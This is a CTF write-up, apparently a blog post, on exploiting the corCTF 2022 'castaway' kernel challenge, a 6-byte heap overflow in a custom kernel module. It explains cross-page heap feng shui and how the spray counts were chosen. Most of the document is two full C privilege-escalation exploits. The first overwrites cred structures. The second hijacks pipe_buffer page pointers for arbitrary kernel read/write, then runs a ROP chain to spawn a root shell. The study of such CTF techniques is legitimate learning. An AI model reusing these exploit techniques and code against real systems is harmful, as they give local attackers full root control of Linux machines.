0x00 Introduction

To practice kernel exploitation, I plan to solve old CTF challenges and learn different skills from others. Before doing this challenge, I already knew about the cross-cache attack from IPS. However, when I applied the same method to this challenge, I found it difficult to perform cross-page when the target allocation was noisy. After reproducing the official write I exploited it with pipe_buffer.

0x01 Challenge

Attachment

This is a kernel challenge from corCTF 2022.

You can also check the write-up from the challenge authors.

Reversing and bug discovery are trivial in this challenge. It’s like the normal userspace heap challenges. There are two options to manipulate the kernel heap objects: add and edit. In add there is a simple 6 bytes heap overflow. Considering the size of objects (0x200) and FREELIST_HARDENED, we can’t use a 6-byte overflow to modify freelist. Moreover, this challenge created a new kmem_cache so we have to do cross pape (it’s called cross cache in the original write-up, but I prefer to call it cross page to show the difference between it and the UAF-cross-cache technique). Also, I have to mention that this challenge also applied CONFIG_HARDENED_USERCOPY which should disable the cross-page technique. However, this challenge first copied the data from userspace to the kernel stack and then copied it from the kernel stack to heap objects, which enabled the cross-page technique.

So we mainly have two ways to attack

In the second way, we don’t need a leak but a little brute force. I didn’t try but I learned from @zolutal that kernel code is not very random.

0x02 Ideal Scenario

This challenge is easy! We have a vulnerable page next to a cred page. Then we use edit to overflow the first 6 bytes of cred then we become root!

Tip: Considering the first 4 bytes for creds is usage we’d better overwrite it with non-zero values. In practice, I would like to overwrite it with a large number, such as 0x132, since I found if we set it to 1/0, we may fail in some cases (e.g., when it’s 1, we can’t seteuid).

However, getting a scenario is not easy if we don’t know how to set up better fengshui and avoid noise.

0x05 Exploitation

5.1 Page Holes Fengshui

If there is no noisy, it’s easy to create one target page next to the vulnerable page. By the following code

for x in range(0x200):
    alloc_page()
for x in range(0x200):
    if x%2==0:
        free_page(x)
spray_obj1()
for x in range(0x200):
  if x%2==1:
    free_page(x)
spray_obj2()

However, when it’s noisy, it may not hit. There are two main ways to make it easier to happen:

5.2 Make it less noisy

Since the limit of allocation for both creds and vulnerable objects. We only have a window of about 0x40 pages. In the original write up, the author figured out a way to make it less noisy.

#define CLONE_FLAG CLONE_FILES | CLONE_FS | CLONE_VM | CLONE_SIGHAND

Using the CLONE_FLAG above, we are able to make allocation less noisy:

task_struct
kmalloc-64
vmap_area
vmap_area
cred_jar
signal_cache
pid

5.3 Details

After I reproduced the official solution with the value it provides, I got a root shell. But I was still confused about “how does the author get these numbers in the script?”.

int main(){
    // shell();
    libxInit();
    fd = open("/dev/castaway",2);
    // Step 1. Drain Creds
    // 200 is not enough and 800 is good. make sure you drain all the creds
    for(int i = 0 ; i < 800; i++)
        fork_sleep(); 
    // Step 2. Init the SockPageAllocator
    spaInit();
    // Step 3. Do page draining
    for (int i = 0; i < NR_PAGE_DRAINING; i++)
        spaCmd(ADD, i);
    // Step 4. Allocate contiguous pages
    for (int i = NR_PAGE_DRAINING; i < NR_PAGE_DRAINING+NR_CNT_PAGES; i++)
        spaCmd(ADD, i);
    // Step 5. Free & Refill
    for (int i = NR_PAGE_DRAINING; i < NR_PAGE_DRAINING+NR_CNT_PAGES; i+= 2)
        spaCmd(FREE, i);
    for(int i = 0 ; i < NR_VUl_TARGETS; i++)
        add();
    for (int i = NR_PAGE_DRAINING; i < NR_PAGE_DRAINING+NR_CNT_PAGES; i+= 2)
        spaCmd(FREE, i+1);
    for(int i = 0 ; i < NR_CREDS; i++)
        cloneRoot();
    
    // Step 6. OOB Write
    char *buf = calloc(1,0x200);
    memset(buf+0x200-6,'\x00',4);
    memset(buf+0x200-2,'\x00',2);
    for(int i = 0 ; i < NR_VUl_TARGETS; i++)
        edit(i,0x200,buf);
    debug();
    // Step 7. Wait for the rootShell
    info("Zz...");
    debug();
}

Based on the skills we talked about, we are able to generate the above exploit. However, how to set the numbers in the exploit to improve the success rate that we get the creds pages just after the vulnerable page where we can OOB write?

#define NR_PAGE_DRAINING ?
#define NR_CNT_PAGES ?
#define NR_VUl_TARGETS ?
#define NR_CREDS ?

First, if we want to improve the possibility of hitting, we’d better create as many as vulnerable pages as possible. so I set

#define NR_VUl_TARGETS 0x1f8

Then, considering the limit of clone that the more we clone the slower the machine is, I set NR_CREDS to 0x40 which takes 2-3 seconds to finish creds spraying.

#define NR_CREDS 0x40 

NR_PAGE_DRAINING is also easy to compute. I wrote a kernel module and kept allocating and printing the allocated page addresses. Then I found 0x200 should be a safe number to make sure we can get contiguous pages in the later page allocation.

#define NR_PAGE_DRAINING 0x200

Then we have to consider how many contiguous pages should be used. Therefore, considering we have around 0x40 pages of OOB pages. To fill them we need 0x40 pages as the first half of the contiguous area. Therefore, we should set NR_CNT_PAGES to 0x80 and set object1 to the vulnerable object to improve the success rate. If it’s larger or smaller than 0x80, don’t worry too much since if you used the pattern that:

It’s because both the sprayed objects will always be on the large index pages. Too small NR_CNT_PAGES make the attacking window too small while too large NR_CNT_PAGES may take a too long time and noise may influence more(in most cases, it’ll be okay).

In the end, we have

#define NR_PAGE_DRAINING 0x200
#define NR_CNT_PAGES 0x80
#define NR_VUl_TARGETS 0x1f8
#define NR_CREDS 0x40

0x06 Exploit: OOB to Creds

// https://github.com/n132/libx
// gcc main.c -o ./main -lx -w
#include "libx.h"
#include <keyutils.h>

#if defined(LIBX)
    size_t user_cs, user_ss, user_rflags, user_sp;
    void saveStatus()
    {
        __asm__("mov user_cs, cs;"
                "mov user_ss, ss;"
                "mov user_sp, rsp;"
                "pushf;"
                "pop user_rflags;"
                );
        printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
    }
    size_t back2root = shell;
    void back2userImp(){
        __asm__("mov rax, user_ss;"
            "push rax;"
            "mov rax, user_sp;"
            "push rax;"
            "mov rax, user_rflags;"
            "push rax;"
            "mov rax, user_cs;"
            "push rax;"
            "mov rax, back2root;"
            "push rax;"
            "swapgs;"
            "push 0;"
            "popfq;"
            "iretq;"
            );
    }
    int sk_skt[0x20][2];
    int pipe_fd[PIPE_NUM][2];
    void libxInit(){
        back2user = back2userImp;
        hook_segfault();
        saveStatus();
        initSocketArray(sk_skt);
        // initPipeBuffer(pipe_fd);
    }
    enum spray_cmd {
    ADD,
    FREE,
    EXIT,
    };
#endif // 
int fd = 0;
typedef struct node
{
    size_t idx;
    size_t size;
    char *ptr;
} node ;
void edit(size_t idx,size_t size, __u8 * payload){
    node pay;
    pay.idx  = idx;
    pay.size = size;
    pay.ptr  = calloc(0x200,1);
    memcpy(pay.ptr,payload,0x200);
    int res = ioctl(fd,0xF00DBABE,&pay);
};
void add(){int res = ioctl(fd,0xcafebabe,0);};

void fork_sleep(){
    if(fork())
        sleep(1000);
}

#define NR_PAGE_DRAINING 0x200
#define NR_CNT_PAGES 0x80
#define NR_VUl_TARGETS 0x1f8
#define NR_CREDS 0x40

int main(){
    // shell();
    libxInit();
    fd = open("/dev/castaway",2);
    // Step 1. Drain Creds
    for(int i = 0 ; i < 800; i++)
        fork_sleep();
    // Step 2. Init the SockPageAllocator
    spaInit();
    // Step 3. Do page draining
    for (int i = 0; i < NR_PAGE_DRAINING; i++)
        spaCmd(ADD, i);
    // Step 4. Allocate contiguous pages
    for (int i = NR_PAGE_DRAINING; i < NR_PAGE_DRAINING+NR_CNT_PAGES; i++)
        spaCmd(ADD, i);
    // Step 5. Free & Refill
    for (int i = NR_PAGE_DRAINING; i < NR_PAGE_DRAINING+NR_CNT_PAGES; i+= 2)
        spaCmd(FREE, i);
    for(int i = 0 ; i < NR_VUl_TARGETS; i++)
        add();
    for (int i = NR_PAGE_DRAINING; i < NR_PAGE_DRAINING+NR_CNT_PAGES; i+= 2)
        spaCmd(FREE, i+1);
    for(int i = 0 ; i < NR_CREDS; i++)
        cloneRoot();
    
    // Step 6. OOB Write
    char *buf = calloc(1,0x200);
    memset(buf+0x200-6,'\x33',4);
    memset(buf+0x200-2,'\x00',2);
    for(int i = 0 ; i < NR_VUl_TARGETS; i++)
        edit(i,0x200,buf);
    debug();
    // Step 7. Wait for the rootShell
    info("Zz...");
    debug();
}


0x07 Exploit: OOB to PipeBuffer

When I was struggling with the official write-up Fengshui, I exploited it in a way I am more familiar with: PipeBuffer.

Each page structure represents one page in the memory. We can get the virtual address of the corresponding page by doing math:

Therefore, changing the page structure in Pipebuffer means gaining Read/Write Access on another page:

// https://github.com/n132/libx
// gcc main.c -o ./main -lx -w
#include "libx.h"

#if defined(LIBX)
    size_t user_cs, user_ss, user_rflags, user_sp;
    void saveStatus()
    {
        __asm__("mov user_cs, cs;"
                "mov user_ss, ss;"
                "mov user_sp, rsp;"
                "pushf;"
                "pop user_rflags;"
                );
        printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
    }
    size_t back2root = shell;
    void back2userImp(){
        __asm__("mov rax, user_ss;"
            "push rax;"
            "mov rax, user_sp;"
            "push rax;"
            "mov rax, user_rflags;"
            "push rax;"
            "mov rax, user_cs;"
            "push rax;"
            "mov rax, back2root;"
            "push rax;"
            "swapgs;"
            "push 0;"
            "popfq;"
            "iretq;"
            );
    }
    int sk_skt[0x20][2];
    int pipe_fd[PIPE_NUM][2];
    void libxInit(){
        back2user = back2userImp;
        hook_segfault();
        saveStatus();
        // initSocketArray(sk_skt);
        initPipeBufferN(pipe_fd,0x100);
    }
    enum spray_cmd {
    ADD,
    FREE,
    EXIT,
    };
#endif // 
int fd = 0;
typedef struct node
{
    size_t idx;
    size_t size;
    char *ptr;
} node ;
void edit(size_t idx,size_t size, __u8 * payload){
    node pay;
    pay.idx  = idx;
    pay.size = size;
    pay.ptr  = calloc(0x200,1);
    memcpy(pay.ptr,payload,0x200);
    int res = ioctl(fd,0xF00DBABE,&pay);
    free(pay.ptr);
};
void add(){int res = ioctl(fd,0xcafebabe,0);};

void do_sleep(){
    sleep(1000);
}
void fork_sleep(){
    if(fork()){
        do_sleep();
        _exit(1);
    }
}
u64 bxx = 0;
u64 bxx1 =0;
u64 bxx2 =0;
void tainRegs(u64 base,u64 r1){
    bxx =r1;
    bxx1 = 0xffffffff812c28e3- NO_ASLR_BASE + base; 
    bxx2 = 0xffffffff8102bb46- NO_ASLR_BASE + base; 
    __asm__("mov rax, 0x9999999999999999;"
    "mov rbx, 0x9999999999999991;"
    "mov rcx, 0x9999999999999992;"
    "mov rdx, 0x9999999999999993;"
    "mov rdi, 0x9999999999999994;"
    "mov rsi, 0x9999999999999995;"
    "mov r8,  0x9999999999999996;"
    "mov r9,  0x9999999999999997;"
    "mov r10, 0x9999999999999998;"
    "mov r11, 0x9999999999999999;"
    "mov r12, 0x999999999999999a;"
    "mov r13, bxx1;"
    "mov r14, bxx;"
    "mov r15, bxx2;"
    "leave;"
    "ret;");
}

int main(){
    // shell();

    libxInit();
    
    fd = open("/dev/castaway",2);
    // Step 2. Init the SockPageAllocator
    spaInit();

    // Step 3. 0x2c77000
    for (int i = 0; i < 500; i++)
        spaCmd(ADD, i);
    for (int i = 500-40; i < 500; i += 2)
        spaCmd(FREE, i);
    for (int i = 0; i < 0x8*40; i++)
        add();
    for (int i = 501-40; i < 500; i += 2)
        spaCmd(FREE, i);
    for(int i = 0 ; i< 0x100 ;i++){
        pipeBufferResize(pipe_fd[i][0],8);
        pipeBufferResize(pipe_fd[i][1],8);
    }
    int fds[0x100]={0};
    for(int ii = 0 ; ii < 0x100; ii++){
        fds[ii] = open("/etc/passwd",0);
    }

    // Make sure we have enough space to walk through the 
    // Page list
    for(int i = 0 ; i < 0x100 ; i++){
        write(pipe_fd[i][1],dp('i',0x8000-0x800),0x8000-0x800);
    }
    // Step 4. Spray with target obj/creds
    // Step 5. OOB Write
    char *pay = calloc(1,0x200);
    size_t * ptr = pay ; 
    memset(pay,'\x99',0x200-6); // One byte off
    memset(pay+0x200-6,'\x00',1); // One byte off
    
    for(int i = 0 ; i <  0x8*40;i++)
        edit(i,0x200-6+1,pay);
    edit(0,0x200-6+1,pay);
    // Try to read 
    for(int i = 0 ; i < 0x100 ; i++){
        char buf[0x11]={0};
        read(pipe_fd[i][0],buf,0x11);
        size_t * tmp_ptr = buf;
        if(0x6675625f65706970==*tmp_ptr)
            continue;
        // printf("[%d]: %s\n",i,buf);
        {
            // Startswith 0x1c00 
            size_t starts = 0x3000;
            
            read(pipe_fd[i][0],buf,0x7);
            size_t acc = 0x18;
            for(int k = 0 ; k < 0x100 ; k++)
            {
                unsigned int  target_page = (k+starts)*0x40;
                unsigned int  *md = pay+0x200-6;
                *md = target_page;
                for(int j =0 ; j<0x8*40 ; j++)
                    edit(j,0x200-6+4,pay);
                memset(buf,0,0x11);
                if(acc%0x200==0)
                {
                    read(pipe_fd[i][0],buf,0x8);
                    acc += 8;
                }
                read(pipe_fd[i][0],buf,0x8);
                acc+=8;
                if(0x9999999999999999 == *tmp_ptr)
                {
                    printf("%p\n",target_page/0x40*0x1000+0xffff888000000000);
                    target_page+=0x40*0x50; //
                    *md = target_page;
                    for(int j =0 ; j<0x8*40 ; j++)
                        edit(j,0x200-6+4,pay);
                    char trash[0x8000] = {};
                    read(pipe_fd[i][0],trash,0x100-(acc%0x100));
                    char big_trash[0x1000]={};
                    char not_trash[0x300] = {};
                    read(pipe_fd[i][0],not_trash,0x100);
                    size_t cur_addr = *(size_t *)(not_trash+0x48);
                    size_t base = *(size_t *)(not_trash+0x28)-0x81f580;
                    success(hex(cur_addr));
                    int res = read(pipe_fd[i][0],big_trash,0x1000);

                    size_t poc = 0xffffffff8123eab0- NO_ASLR_BASE + base; 
                    size_t * ppp = not_trash+0x28;
                    *ppp = cur_addr-0x248+0x100;
                    size_t *rop = not_trash+0x100;
                    size_t ct = 0 ; 
                    for(int cc = 0 ; cc < 0x20; cc++)
                        rop[ct++]=poc;

                    rop[ct++]  = 0xffffffff812c89bd- NO_ASLR_BASE + base; 
                    rop[ct++]  = 0xffffffff81a50520- NO_ASLR_BASE + base; 
                    rop[ct++]  = 0xffffffff81066d20- NO_ASLR_BASE + base; 
                    rop[ct++]  = 0xffffffff81400cb0+22- NO_ASLR_BASE + base; 
                    rop[ct++]  = 0 ; 
                    rop[ct++]  = 0 ;
                    rop[ct++]  = shell;
                    rop[ct++]  = user_cs;
                    rop[ct++]  = user_rflags;
                    rop[ct++]  = user_sp;
                    rop[ct++]  = user_ss;


                    res = write(pipe_fd[i][1],&not_trash,0x300);
                    debug();
                    tainRegs(base,cur_addr-0x48-8);
                    for(int i = 0 ; i < 0x100 ; i++)
                        read(fds[i],trash,1);
                    break;
                }
            }
        }
        break;
    }
    
    // Step 6. Wait for the rootShell
    debug();
}

0x08 Epilogue

TODO:

Learned: